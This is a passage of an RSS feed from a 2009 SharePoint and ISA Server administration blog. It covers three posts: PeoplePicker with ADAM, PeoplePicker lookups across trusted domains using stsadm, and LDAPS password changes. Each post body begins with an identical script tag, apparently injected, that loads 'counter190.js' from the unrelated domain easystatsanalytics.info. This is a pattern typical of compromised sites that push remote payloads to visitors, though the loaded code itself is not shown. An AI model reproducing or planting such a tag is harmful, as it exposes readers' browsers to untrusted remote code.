			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/add-a-dash-of-sharepoint-sp2-to-a-production-server-and-admire-your-new-trial-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint PeoplePicker and ADAM</title>
		<link>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sharepoint-peoplepicker</link>
		<comments>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/#comments</comments>
		<pubDate>Fri, 22 May 2009 08:46:35 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[ADAM]]></category>
		<category><![CDATA[ECTS]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=61</guid>
		<description><![CDATA[One of the comments on my PeoplePicker post asked some questions about the way PeoplePicker works with ECTS &#8211; the External Collaboration Toolkit for SharePoint.  To be honest, I haven&#8217;t worked with the ECTS myself, but I understand the theory. The ECTS uses Microsoft&#8217;s ADAM &#8211; Active Directory Application Mode &#8211; to act a a [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fsharepoint-peoplepicker%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>One of the comments on my PeoplePicker post asked some questions about the way PeoplePicker works with ECTS &#8211; the External Collaboration Toolkit for SharePoint.  To be honest, I haven&#8217;t worked with the ECTS myself, but I understand the theory.</p>
<p>The ECTS uses Microsoft&#8217;s ADAM &#8211; Active Directory Application Mode &#8211; to act a a user repository, which gives you a SharePoint structure that should resemble the following:</p>
<p> </p>
<div id="attachment_66" class="wp-caption aligncenter" style="width: 410px"><img class="size-full wp-image-66" title="ECTS" src="http://kipper.org.uk/wp-content/uploads/2009/05/ects.jpg" alt="External Collaboration Toolkit for SharePoint Architecture" width="400" height="308" /><p class="wp-caption-text">External Collaboration Toolkit for SharePoint Architecture</p></div>
<p style="text-align: center;"> </p>
<p>Getting the PeoplePicker to work correctly with this is difficult, but not impossible.  The question asked was what could cause the PeoplePicker to fail to return AD users when logged in as an external user?   Of course, as is often the case with comments on blogs, there really isn&#8217;t anywhere near enough information about the setup to answer accurately.</p>
<p>My first guess would be that the PeoplePicker has actually been deliberately configured that way.  It is a potentially huge security risk to allow external users to see all the usernames of your company, which is why many people using ADAM authentication run the following command:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -url https://&lt;url&gt; -pn peoplepicker-nowindowsaccountsfornonwindowsauthenticationmode -pv yes</p>
<p>This command deliberately stops PeoplePicker returning internal AD users when logged in via forms based authentication outside of windows, including using ADAM.  You can tell if this is turned on by running:</p>
<p style="padding-left: 30px;">stsadm -o getproperty -url https://&lt;url&gt; -pn peoplepicker-nowindowsaccountsfornonwindowsauthenticationmode</p>
<p>If this is the problem, you can turn the security feature off by running:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -url https://&lt;url&gt; -pn peoplepicker-nowindowsaccountsfornonwindowsauthenticationmode -pv no</p>
<p>And your PeoplePicker should leap back into life for all users.</p>
<p>However, there are still some quirks with using the PeoplePicker with ADAM, even if AD users are allowed to respond.  Take a look at <a href="http://blogs.pointbridge.com/Blogs/morse_matt/Pages/Post.aspx?_ID=18">Matt Morse&#8217;s excellent blog</a> on how the PeoplePicker returns different results from ADAM than you might expect if you are used to working with normal windows authentication.</p>
<p>EDIT:-</p>
<p>As always, after applying stsadm commands to your SharePoint installation, don&#8217;t forget to either reset IIS or the relevant application pool.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/sharepoint-peoplepicker/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The SharePoint PeoplePicker isn&#8217;t showing users from a trusted domain</title>
		<link>http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain</link>
		<comments>http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/#comments</comments>
		<pubDate>Wed, 13 May 2009 12:06:47 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[PeoplePicker]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=55</guid>
		<description><![CDATA[After installing SharePoint, and importing all the User Profiles, you&#8217;ll find if you are using the People Picker, you&#8217;ll only see users from the trusted domain that have successfully logged on the SharePoint 2007 server, rather than all of them.  This is rather bizarre, as you&#8217;ve imported all the profiles, and can see them! You [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fthe-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fthe-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>After installing SharePoint, and importing all the User Profiles, you&#8217;ll find if you are using the People Picker, you&#8217;ll only see users from the trusted domain that have successfully logged on the SharePoint 2007 server, rather than all of them.  This is rather bizarre, as you&#8217;ve imported all the profiles, and can see them!</p>
<p>You actually need to configure the PeoplePicker to do a lookup to the Domain Controllers, as its here the People looks, NOT the SharePoint user profile store.  It seems unusual, but true!  It&#8217;s quite a complex task.</p>
<p>Before you do anything else, work out a list of all of the domains the PeoplePicker needs to look at, INCLUDING the domain SharePoint is installed on.  If SharePoint is on Domain1 and you want to see all the Domain1 users and all the users from the trusted domain Domain2, you&#8217;re going to need to list them both, something most of the guides online don&#8217;t make clear.  You&#8217;ll also need the fully qualified domain names &#8211; doing use the older NetBIOS name.  If your domain is exampledomain.local, don&#8217;t just use &#8220;exampledomain&#8221; &#8211; we&#8217;ll need the full thing.</p>
<p>Next, make sure you have a valid Active Directory user account on each of the domains you want to look at.  You don&#8217;t need to worry about the domain the SharePoint server is on &#8211; the accounts SharePoint should be running under will already have access.</p>
<p>Now, we first need to set up an encryption key, so SharePoint can securely store the usernames and passwords for the other domains.  Use the following command on every server in the farm &#8211; if you don&#8217;t, the other SharePoint servers won&#8217;t be able to decrypt the stored user names and passwords:</p>
<p style="padding-left: 30px;">stsadm –o setapppassword –password MyPassword</p>
<p>Replace MyPassword with your chosen encryption key, of course! </p>
<p>Next, we need to tell each Web Front End server, which domains to use.  I always list the current domain SharePoint is a member of first, for ease of reference.  Normally, I&#8217;d expect at least two entries &#8211; the current domain and the trusted domain (or domains) &#8211; if there isn&#8217;t a trusted domain, why are you doing this???.  We&#8217;ll need to separate the entries in the domain list with semi-colons.</p>
<p style="padding-left: 30px;">stsadm -o setproperty -pn peoplepicker-searchadforests -pv domain:domain1.com;domain:domain2.com,domain2\user,password –url https://sharepoint.domain1.com</p>
<p>Here, the url should be replaced by that of your web application &#8211; don&#8217;t forget to use https if you&#8217;ve set the application up to use SSL.  Domain names should obviously be replaced with your own, and you should use the usernames and passwords from each domain that you either created or ensured were available earlier.  A more realistic looking example might be:</p>
<p style="padding-left: 30px;">stsadm -o setproperty -pn peoplepicker-searchadforests -pv domain:technet.microsoft.com;domain:kb.microsoft.com,kb\AD_Lookup,LookUp2009 –url https://sharepoint.technet.microsoft.com</p>
<p>Please note this is an entirely hypothetical example, so don&#8217;t think of trying the links or usernames! </p>
<p>Fianlly, though this generally isn&#8217;t mentioned in most of the other guides, you need to reset IIS before SharePoint will pick up the changes.  As always, I prefer the noforce option, just in case.</p>
<p style="padding-left: 30px;">issreset -noforce</p>
<p>You should now see all of the available people from the domains you&#8217;ve selected in the people picker!</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/the-sharepoint-peoplepicker-isnt-showing-users-from-a-trusted-domain/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Configuring ISA Server 2006 to allow password changes through Forms Based Authentication</title>
		<link>http://kipper.org.uk/index.php/2009/05/configuring-isa-server-2006-to-allow-password-changes-through-forms-based-authentication/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=configuring-isa-server-2006-to-allow-password-changes-through-forms-based-authentication</link>
		<comments>http://kipper.org.uk/index.php/2009/05/configuring-isa-server-2006-to-allow-password-changes-through-forms-based-authentication/#comments</comments>
		<pubDate>Wed, 13 May 2009 10:28:51 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[ISA Server 2006]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[ISA 2006]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[LDAPS]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=51</guid>
		<description><![CDATA[ISA Server 2006 is a strange, temperamental beast, and often needs to be cajoled into fairly standard functionality.  In order to deploy security so that users can authenticate from both the DMZ Active Directory, and the internal network (with a one way trust between the two) you need to deploy LDAP authentication.  In order to [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fconfiguring-isa-server-2006-to-allow-password-changes-through-forms-based-authentication%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2009%2F05%2Fconfiguring-isa-server-2006-to-allow-password-changes-through-forms-based-authentication%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>ISA Server 2006 is a strange, temperamental beast, and often needs to be cajoled into fairly standard functionality.  In order to deploy security so that users can authenticate from both the DMZ Active Directory, and the internal network (with a one way trust between the two) you need to deploy LDAP authentication.  In order to act as a secure front end and logging point, forms based authentication is recommended, particularly if branded authentication pages are important for you.  If you want to use it as a front end to extranet systems, a custom login page is pretty much a necessity, and if you need external users to change their passwords (rather than using code within your extranet or OWA), you&#8217;ll need to configure LDAP over SSL (LDAPS).</p>
<p>Before you begin, you&#8217;ll need to configure a domain user for ISA server to use to bind to the LDAP server, with rights to make changes if you need password change functionality.</p>
<p>You&#8217;ll need to ensure that your active directory domain can support LDAPS.  In order to do this, you need to intall certificate services, and ensure that the domain controllers and your ISA server all have server certificates installed, with the certificates matching their fully qualified domain names correctly. </p>
<p>You can find a pretty complete guide here:</p>
<p><a href="http://technet.microsoft.com/en-gb/library/bb794854.aspx">http://technet.microsoft.com/en-gb/library/bb794854.aspx</a></p>
<p>I struggled with a few points &#8211; its not clear that for password changes to work, for example, you need to use a user account with the right to make AD changes when defining the LDAP server set, and you don&#8217;t in order to simply log users onto the domain.  You apparently do in order to change passwords.</p>
<p>You can&#8217;t use windows authentication for any domains other than the one that the server is in, even if one way trusts are correctly configured &#8211; you really need to use LDAP server sets.  Thats not a problem if all of your internal users will access your secure extranet from the internal domain &#8211; you could bypass your ISA server and go straight to the web server.  However, people will want to give demonstrations, and work on the extranets from outside the office &#8211; its up to your policy to determine if this will affect the configuration.  Existing SSL VPN solutions might be a better option for your own employees.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2009/05/configuring-isa-server-2006-to-allow-password-changes-through-forms-based-authentication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

